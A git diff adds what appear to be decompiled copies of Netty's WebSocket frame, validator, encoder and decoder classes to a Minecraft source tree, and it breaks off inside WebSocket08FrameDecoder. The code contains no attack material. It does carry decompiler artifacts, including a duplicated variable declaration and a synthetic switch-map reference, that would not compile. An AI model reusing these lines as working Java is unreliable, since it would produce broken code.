+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/BinaryWebSocketFrame.java
@@ -0,0 +1,78 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BinaryWebSocketFrame
+  extends WebSocketFrame
+{
+  public BinaryWebSocketFrame()
+  {
+    super(Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+  public BinaryWebSocketFrame(ByteBuf binaryData)
+  {
+    super(binaryData);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BinaryWebSocketFrame(boolean finalFragment, int rsv, ByteBuf binaryData)
+  {
+    super(finalFragment, rsv, binaryData);
+  }
+  
+  public BinaryWebSocketFrame copy()
+  {
+    return new BinaryWebSocketFrame(isFinalFragment(), rsv(), content().copy());
+  }
+  
+  public BinaryWebSocketFrame duplicate()
+  {
+    return new BinaryWebSocketFrame(isFinalFragment(), rsv(), content().duplicate());
+  }
+  
+  public BinaryWebSocketFrame retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public BinaryWebSocketFrame retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/CloseWebSocketFrame.java b/src/minecraft/io/netty/handler/codec/http/websocketx/CloseWebSocketFrame.java
new file mode 100644
index 0000000..5e60551
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/CloseWebSocketFrame.java
@@ -0,0 +1,162 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.EmptyArrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CloseWebSocketFrame
+  extends WebSocketFrame
+{
+  public CloseWebSocketFrame()
+  {
+    super(Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+
+
+
+  public CloseWebSocketFrame(int statusCode, String reasonText)
+  {
+    this(true, 0, statusCode, reasonText);
+  }
+  
+
+
+
+
+
+
+
+  public CloseWebSocketFrame(boolean finalFragment, int rsv)
+  {
+    this(finalFragment, rsv, Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public CloseWebSocketFrame(boolean finalFragment, int rsv, int statusCode, String reasonText)
+  {
+    super(finalFragment, rsv, newBinaryData(statusCode, reasonText));
+  }
+  
+  private static ByteBuf newBinaryData(int statusCode, String reasonText) {
+    byte[] reasonBytes = EmptyArrays.EMPTY_BYTES;
+    if (reasonText != null) {
+      reasonBytes = reasonText.getBytes(CharsetUtil.UTF_8);
+    }
+    
+    ByteBuf binaryData = Unpooled.buffer(2 + reasonBytes.length);
+    binaryData.writeShort(statusCode);
+    if (reasonBytes.length > 0) {
+      binaryData.writeBytes(reasonBytes);
+    }
+    
+    binaryData.readerIndex(0);
+    return binaryData;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public CloseWebSocketFrame(boolean finalFragment, int rsv, ByteBuf binaryData)
+  {
+    super(finalFragment, rsv, binaryData);
+  }
+  
+
+
+
+  public int statusCode()
+  {
+    ByteBuf binaryData = content();
+    if ((binaryData == null) || (binaryData.capacity() == 0)) {
+      return -1;
+    }
+    
+    binaryData.readerIndex(0);
+    int statusCode = binaryData.readShort();
+    binaryData.readerIndex(0);
+    
+    return statusCode;
+  }
+  
+
+
+
+  public String reasonText()
+  {
+    ByteBuf binaryData = content();
+    if ((binaryData == null) || (binaryData.capacity() <= 2)) {
+      return "";
+    }
+    
+    binaryData.readerIndex(2);
+    String reasonText = binaryData.toString(CharsetUtil.UTF_8);
+    binaryData.readerIndex(0);
+    
+    return reasonText;
+  }
+  
+  public CloseWebSocketFrame copy()
+  {
+    return new CloseWebSocketFrame(isFinalFragment(), rsv(), content().copy());
+  }
+  
+  public CloseWebSocketFrame duplicate()
+  {
+    return new CloseWebSocketFrame(isFinalFragment(), rsv(), content().duplicate());
+  }
+  
+  public CloseWebSocketFrame retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public CloseWebSocketFrame retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/ContinuationWebSocketFrame.java b/src/minecraft/io/netty/handler/codec/http/websocketx/ContinuationWebSocketFrame.java
new file mode 100644
index 0000000..cc48009
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/ContinuationWebSocketFrame.java
@@ -0,0 +1,115 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContinuationWebSocketFrame
+  extends WebSocketFrame
+{
+  public ContinuationWebSocketFrame()
+  {
+    this(Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+  public ContinuationWebSocketFrame(ByteBuf binaryData)
+  {
+    super(binaryData);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ContinuationWebSocketFrame(boolean finalFragment, int rsv, ByteBuf binaryData)
+  {
+    super(finalFragment, rsv, binaryData);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ContinuationWebSocketFrame(boolean finalFragment, int rsv, String text)
+  {
+    this(finalFragment, rsv, fromText(text));
+  }
+  
+
+
+  public String text()
+  {
+    return content().toString(CharsetUtil.UTF_8);
+  }
+  
+
+
+
+
+
+  private static ByteBuf fromText(String text)
+  {
+    if ((text == null) || (text.isEmpty())) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    return Unpooled.copiedBuffer(text, CharsetUtil.UTF_8);
+  }
+  
+
+  public ContinuationWebSocketFrame copy()
+  {
+    return new ContinuationWebSocketFrame(isFinalFragment(), rsv(), content().copy());
+  }
+  
+  public ContinuationWebSocketFrame duplicate()
+  {
+    return new ContinuationWebSocketFrame(isFinalFragment(), rsv(), content().duplicate());
+  }
+  
+  public ContinuationWebSocketFrame retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public ContinuationWebSocketFrame retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/PingWebSocketFrame.java b/src/minecraft/io/netty/handler/codec/http/websocketx/PingWebSocketFrame.java
new file mode 100644
index 0000000..20fe68f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/PingWebSocketFrame.java
@@ -0,0 +1,78 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PingWebSocketFrame
+  extends WebSocketFrame
+{
+  public PingWebSocketFrame()
+  {
+    super(true, 0, Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+  public PingWebSocketFrame(ByteBuf binaryData)
+  {
+    super(binaryData);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public PingWebSocketFrame(boolean finalFragment, int rsv, ByteBuf binaryData)
+  {
+    super(finalFragment, rsv, binaryData);
+  }
+  
+  public PingWebSocketFrame copy()
+  {
+    return new PingWebSocketFrame(isFinalFragment(), rsv(), content().copy());
+  }
+  
+  public PingWebSocketFrame duplicate()
+  {
+    return new PingWebSocketFrame(isFinalFragment(), rsv(), content().duplicate());
+  }
+  
+  public PingWebSocketFrame retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public PingWebSocketFrame retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/PongWebSocketFrame.java b/src/minecraft/io/netty/handler/codec/http/websocketx/PongWebSocketFrame.java
new file mode 100644
index 0000000..4c381aa
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/PongWebSocketFrame.java
@@ -0,0 +1,78 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PongWebSocketFrame
+  extends WebSocketFrame
+{
+  public PongWebSocketFrame()
+  {
+    super(Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+  public PongWebSocketFrame(ByteBuf binaryData)
+  {
+    super(binaryData);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public PongWebSocketFrame(boolean finalFragment, int rsv, ByteBuf binaryData)
+  {
+    super(finalFragment, rsv, binaryData);
+  }
+  
+  public PongWebSocketFrame copy()
+  {
+    return new PongWebSocketFrame(isFinalFragment(), rsv(), content().copy());
+  }
+  
+  public PongWebSocketFrame duplicate()
+  {
+    return new PongWebSocketFrame(isFinalFragment(), rsv(), content().duplicate());
+  }
+  
+  public PongWebSocketFrame retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public PongWebSocketFrame retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/TextWebSocketFrame.java b/src/minecraft/io/netty/handler/codec/http/websocketx/TextWebSocketFrame.java
new file mode 100644
index 0000000..05545f7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/TextWebSocketFrame.java
@@ -0,0 +1,118 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TextWebSocketFrame
+  extends WebSocketFrame
+{
+  public TextWebSocketFrame()
+  {
+    super(Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+  public TextWebSocketFrame(String text)
+  {
+    super(fromText(text));
+  }
+  
+
+
+
+
+
+  public TextWebSocketFrame(ByteBuf binaryData)
+  {
+    super(binaryData);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TextWebSocketFrame(boolean finalFragment, int rsv, String text)
+  {
+    super(finalFragment, rsv, fromText(text));
+  }
+  
+  private static ByteBuf fromText(String text) {
+    if ((text == null) || (text.isEmpty())) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    return Unpooled.copiedBuffer(text, CharsetUtil.UTF_8);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TextWebSocketFrame(boolean finalFragment, int rsv, ByteBuf binaryData)
+  {
+    super(finalFragment, rsv, binaryData);
+  }
+  
+
+
+  public String text()
+  {
+    return content().toString(CharsetUtil.UTF_8);
+  }
+  
+  public TextWebSocketFrame copy()
+  {
+    return new TextWebSocketFrame(isFinalFragment(), rsv(), content().copy());
+  }
+  
+  public TextWebSocketFrame duplicate()
+  {
+    return new TextWebSocketFrame(isFinalFragment(), rsv(), content().duplicate());
+  }
+  
+  public TextWebSocketFrame retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public TextWebSocketFrame retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/Utf8FrameValidator.java b/src/minecraft/io/netty/handler/codec/http/websocketx/Utf8FrameValidator.java
new file mode 100644
index 0000000..0c31fe4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/Utf8FrameValidator.java
@@ -0,0 +1,92 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.handler.codec.CorruptedFrameException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Utf8FrameValidator
+  extends ChannelInboundHandlerAdapter
+{
+  private int fragmentedFramesCount;
+  private Utf8Validator utf8Validator;
+  
+  public Utf8FrameValidator() {}
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg)
+    throws Exception
+  {
+    if ((msg instanceof WebSocketFrame)) {
+      WebSocketFrame frame = (WebSocketFrame)msg;
+      
+
+
+      if (((WebSocketFrame)msg).isFinalFragment())
+      {
+
+        if (!(frame instanceof PingWebSocketFrame)) {
+          fragmentedFramesCount = 0;
+          
+
+          if (((frame instanceof TextWebSocketFrame)) || ((utf8Validator != null) && (utf8Validator.isChecking())))
+          {
+
+            checkUTF8String(ctx, frame.content());
+            
+
+
+            utf8Validator.finish();
+          }
+        }
+      }
+      else
+      {
+        if (fragmentedFramesCount == 0)
+        {
+          if ((frame instanceof TextWebSocketFrame)) {
+            checkUTF8String(ctx, frame.content());
+          }
+          
+        }
+        else if ((utf8Validator != null) && (utf8Validator.isChecking())) {
+          checkUTF8String(ctx, frame.content());
+        }
+        
+
+
+        fragmentedFramesCount += 1;
+      }
+    }
+    
+    super.channelRead(ctx, msg);
+  }
+  
+  private void checkUTF8String(ChannelHandlerContext ctx, ByteBuf buffer) {
+    try {
+      if (utf8Validator == null) {
+        utf8Validator = new Utf8Validator();
+      }
+      utf8Validator.check(buffer);
+    } catch (CorruptedFrameException ex) {
+      if (ctx.channel().isActive()) {
+        ctx.writeAndFlush(Unpooled.EMPTY_BUFFER).addListener(ChannelFutureListener.CLOSE);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/Utf8Validator.java b/src/minecraft/io/netty/handler/codec/http/websocketx/Utf8Validator.java
new file mode 100644
index 0000000..6e12019
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/Utf8Validator.java
@@ -0,0 +1,104 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufProcessor;
+import io.netty.handler.codec.CorruptedFrameException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Utf8Validator
+  implements ByteBufProcessor
+{
+  private static final int UTF8_ACCEPT = 0;
+  private static final int UTF8_REJECT = 12;
+  private static final byte[] TYPES = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 3, 3, 11, 6, 6, 6, 5, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8 };
+  
+
+
+
+
+
+
+
+
+
+  private static final byte[] STATES = { 0, 12, 24, 36, 60, 96, 84, 12, 12, 12, 48, 72, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 12, 12, 12, 12, 12, 0, 12, 0, 12, 12, 12, 24, 12, 12, 12, 12, 12, 24, 12, 24, 12, 12, 12, 12, 12, 12, 12, 12, 12, 24, 12, 12, 12, 12, 12, 24, 12, 12, 12, 12, 12, 12, 12, 24, 12, 12, 12, 12, 12, 12, 12, 12, 12, 36, 12, 36, 12, 12, 12, 36, 12, 12, 12, 12, 12, 36, 12, 36, 12, 12, 12, 36, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12 };
+  
+
+
+
+
+
+  private int state = 0;
+  private int codep;
+  private boolean checking;
+  
+  Utf8Validator() {}
+  
+  public void check(ByteBuf buffer) { checking = true;
+    buffer.forEachByte(this);
+  }
+  
+  public void finish() {
+    checking = false;
+    codep = 0;
+    if (state != 0) {
+      state = 0;
+      throw new CorruptedFrameException("bytes are not UTF-8");
+    }
+  }
+  
+  public boolean process(byte b) throws Exception
+  {
+    byte type = TYPES[(b & 0xFF)];
+    
+    codep = (state != 0 ? b & 0x3F | codep << 6 : 255 >> type & b);
+    
+    state = STATES[(state + type)];
+    
+    if (state == 12) {
+      checking = false;
+      throw new CorruptedFrameException("bytes are not UTF-8");
+    }
+    return true;
+  }
+  
+  public boolean isChecking() {
+    return checking;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket00FrameDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket00FrameDecoder.java
new file mode 100644
index 0000000..0fee986
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket00FrameDecoder.java
@@ -0,0 +1,135 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.TooLongFrameException;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocket00FrameDecoder
+  extends ReplayingDecoder<Void>
+  implements WebSocketFrameDecoder
+{
+  static final int DEFAULT_MAX_FRAME_SIZE = 16384;
+  private final long maxFrameSize;
+  private boolean receivedClosingHandshake;
+  
+  public WebSocket00FrameDecoder()
+  {
+    this(16384);
+  }
+  
+
+
+
+
+
+
+  public WebSocket00FrameDecoder(int maxFrameSize)
+  {
+    this.maxFrameSize = maxFrameSize;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    if (receivedClosingHandshake) {
+      in.skipBytes(actualReadableBytes());
+      return;
+    }
+    
+
+    byte type = in.readByte();
+    WebSocketFrame frame;
+    WebSocketFrame frame; if ((type & 0x80) == 128)
+    {
+      frame = decodeBinaryFrame(ctx, type, in);
+    }
+    else {
+      frame = decodeTextFrame(ctx, in);
+    }
+    
+    if (frame != null) {
+      out.add(frame);
+    }
+  }
+  
+  private WebSocketFrame decodeBinaryFrame(ChannelHandlerContext ctx, byte type, ByteBuf buffer) {
+    long frameSize = 0L;
+    int lengthFieldSize = 0;
+    byte b;
+    do {
+      b = buffer.readByte();
+      frameSize <<= 7;
+      frameSize |= b & 0x7F;
+      if (frameSize > maxFrameSize) {
+        throw new TooLongFrameException();
+      }
+      lengthFieldSize++;
+      if (lengthFieldSize > 8)
+      {
+        throw new TooLongFrameException();
+      }
+    } while ((b & 0x80) == 128);
+    
+    if ((type == -1) && (frameSize == 0L)) {
+      receivedClosingHandshake = true;
+      return new CloseWebSocketFrame();
+    }
+    ByteBuf payload = ctx.alloc().buffer((int)frameSize);
+    buffer.readBytes(payload);
+    return new BinaryWebSocketFrame(payload);
+  }
+  
+  private WebSocketFrame decodeTextFrame(ChannelHandlerContext ctx, ByteBuf buffer) {
+    int ridx = buffer.readerIndex();
+    int rbytes = actualReadableBytes();
+    int delimPos = buffer.indexOf(ridx, ridx + rbytes, (byte)-1);
+    if (delimPos == -1)
+    {
+      if (rbytes > maxFrameSize)
+      {
+        throw new TooLongFrameException();
+      }
+      
+      return null;
+    }
+    
+
+    int frameSize = delimPos - ridx;
+    if (frameSize > maxFrameSize) {
+      throw new TooLongFrameException();
+    }
+    
+    ByteBuf binaryData = ctx.alloc().buffer(frameSize);
+    buffer.readBytes(binaryData);
+    buffer.skipBytes(1);
+    
+    int ffDelimPos = binaryData.indexOf(binaryData.readerIndex(), binaryData.writerIndex(), (byte)-1);
+    if (ffDelimPos >= 0) {
+      throw new IllegalArgumentException("a text frame should not contain 0xFF.");
+    }
+    
+    return new TextWebSocketFrame(binaryData);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket00FrameEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket00FrameEncoder.java
new file mode 100644
index 0000000..d173a27
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket00FrameEncoder.java
@@ -0,0 +1,101 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class WebSocket00FrameEncoder
+  extends MessageToMessageEncoder<WebSocketFrame>
+  implements WebSocketFrameEncoder
+{
+  private static final ByteBuf _0X00 = Unpooled.unreleasableBuffer(Unpooled.directBuffer(1, 1).writeByte(0));
+  
+  private static final ByteBuf _0XFF = Unpooled.unreleasableBuffer(Unpooled.directBuffer(1, 1).writeByte(-1));
+  
+  private static final ByteBuf _0XFF_0X00 = Unpooled.unreleasableBuffer(Unpooled.directBuffer(2, 2).writeByte(-1).writeByte(0));
+  
+  public WebSocket00FrameEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, WebSocketFrame msg, List<Object> out) throws Exception {
+    if ((msg instanceof TextWebSocketFrame))
+    {
+      ByteBuf data = msg.content();
+      
+      out.add(_0X00.duplicate());
+      out.add(data.retain());
+      out.add(_0XFF.duplicate());
+    } else if ((msg instanceof CloseWebSocketFrame))
+    {
+
+      out.add(_0XFF_0X00.duplicate());
+    }
+    else {
+      ByteBuf data = msg.content();
+      int dataLen = data.readableBytes();
+      
+      ByteBuf buf = ctx.alloc().buffer(5);
+      boolean release = true;
+      try
+      {
+        buf.writeByte(-128);
+        
+
+        int b1 = dataLen >>> 28 & 0x7F;
+        int b2 = dataLen >>> 14 & 0x7F;
+        int b3 = dataLen >>> 7 & 0x7F;
+        int b4 = dataLen & 0x7F;
+        if (b1 == 0) {
+          if (b2 == 0) {
+            if (b3 == 0) {
+              buf.writeByte(b4);
+            } else {
+              buf.writeByte(b3 | 0x80);
+              buf.writeByte(b4);
+            }
+          } else {
+            buf.writeByte(b2 | 0x80);
+            buf.writeByte(b3 | 0x80);
+            buf.writeByte(b4);
+          }
+        } else {
+          buf.writeByte(b1 | 0x80);
+          buf.writeByte(b2 | 0x80);
+          buf.writeByte(b3 | 0x80);
+          buf.writeByte(b4);
+        }
+        
+
+        out.add(buf);
+        out.add(data.retain());
+        release = false;
+      } finally {
+        if (release) {
+          buf.release();
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket07FrameDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket07FrameDecoder.java
new file mode 100644
index 0000000..c89c740
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket07FrameDecoder.java
@@ -0,0 +1,76 @@
+package io.netty.handler.codec.http.websocketx;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocket07FrameDecoder
+  extends WebSocket08FrameDecoder
+{
+  public WebSocket07FrameDecoder(boolean maskedPayload, boolean allowExtensions, int maxFramePayloadLength)
+  {
+    super(maskedPayload, allowExtensions, maxFramePayloadLength);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket07FrameEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket07FrameEncoder.java
new file mode 100644
index 0000000..4193f83
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket07FrameEncoder.java
@@ -0,0 +1,73 @@
+package io.netty.handler.codec.http.websocketx;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocket07FrameEncoder
+  extends WebSocket08FrameEncoder
+{
+  public WebSocket07FrameEncoder(boolean maskPayload)
+  {
+    super(maskPayload);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket08FrameDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket08FrameDecoder.java
new file mode 100644
index 0000000..d6c398a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket08FrameDecoder.java
@@ -0,0 +1,488 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.CorruptedFrameException;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.TooLongFrameException;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocket08FrameDecoder
+  extends ReplayingDecoder<State>
+  implements WebSocketFrameDecoder
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(WebSocket08FrameDecoder.class);
+  
+  private static final byte OPCODE_CONT = 0;
+  private static final byte OPCODE_TEXT = 1;
+  private static final byte OPCODE_BINARY = 2;
+  private static final byte OPCODE_CLOSE = 8;
+  private static final byte OPCODE_PING = 9;
+  private static final byte OPCODE_PONG = 10;
+  private int fragmentedFramesCount;
+  private final long maxFramePayloadLength;
+  private boolean frameFinalFlag;
+  private int frameRsv;
+  private int frameOpcode;
+  private long framePayloadLength;
+  private ByteBuf framePayload;
+  private int framePayloadBytesRead;
+  private byte[] maskingKey;
+  private ByteBuf payloadBuffer;
+  private final boolean allowExtensions;
+  private final boolean maskedPayload;
+  private boolean receivedClosingHandshake;
+  private Utf8Validator utf8Validator;
+  
+  static enum State
+  {
+    FRAME_START,  MASKING_KEY,  PAYLOAD,  CORRUPT;
+    
+
+
+
+
+
+    private State() {}
+  }
+  
+
+
+
+
+  public WebSocket08FrameDecoder(boolean maskedPayload, boolean allowExtensions, int maxFramePayloadLength)
+  {
+    super(State.FRAME_START);
+    this.maskedPayload = maskedPayload;
+    this.allowExtensions = allowExtensions;
+    this.maxFramePayloadLength = maxFramePayloadLength;
+  }
+  
+
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    if (receivedClosingHandshake) {
+      in.skipBytes(actualReadableBytes());
+      return;
+    }
+    try
+    {
+      switch (1.$SwitchMap$io$netty$handler$codec$http$websocketx$WebSocket08FrameDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        framePayloadBytesRead = 0;
+        framePayloadLength = -1L;
+        framePayload = null;
+        payloadBuffer = null;
+        
+
+        byte b = in.readByte();
+        frameFinalFlag = ((b & 0x80) != 0);
+        frameRsv = ((b & 0x70) >> 4);
+        frameOpcode = (b & 0xF);
+        
+        if (logger.isDebugEnabled()) {
+          logger.debug("Decoding WebSocket Frame opCode={}", Integer.valueOf(frameOpcode));
+        }
+        
+
+        b = in.readByte();
+        boolean frameMasked = (b & 0x80) != 0;
+        int framePayloadLen1 = b & 0x7F;
+        
+        if ((frameRsv != 0) && (!allowExtensions)) {
+          protocolViolation(ctx, "RSV != 0 and no extension negotiated, RSV:" + frameRsv);
+          return;
+        }
+        
+        if ((maskedPayload) && (!frameMasked)) {
+          protocolViolation(ctx, "unmasked client to server frame");
+          return;
+        }
+        if (frameOpcode > 7)
+        {
+
+          if (!frameFinalFlag) {
+            protocolViolation(ctx, "fragmented control frame");
+            return;
+          }
+          
+
+          if (framePayloadLen1 > 125) {
+            protocolViolation(ctx, "control frame with payload length > 125 octets");
+            return;
+          }
+          
+
+          if ((frameOpcode != 8) && (frameOpcode != 9) && (frameOpcode != 10))
+          {
+            protocolViolation(ctx, "control frame using reserved opcode " + frameOpcode);
+            return;
+          }
+          
+
+
+
+          if ((frameOpcode == 8) && (framePayloadLen1 == 1)) {
+            protocolViolation(ctx, "received close control frame with payload len 1");
+          }
+        }
+        else
+        {
+          if ((frameOpcode != 0) && (frameOpcode != 1) && (frameOpcode != 2))
+          {
+            protocolViolation(ctx, "data frame using reserved opcode " + frameOpcode);
+            return;
+          }
+          
+
+          if ((fragmentedFramesCount == 0) && (frameOpcode == 0)) {
+            protocolViolation(ctx, "received continuation data frame outside fragmented message");
+            return;
+          }
+          
+
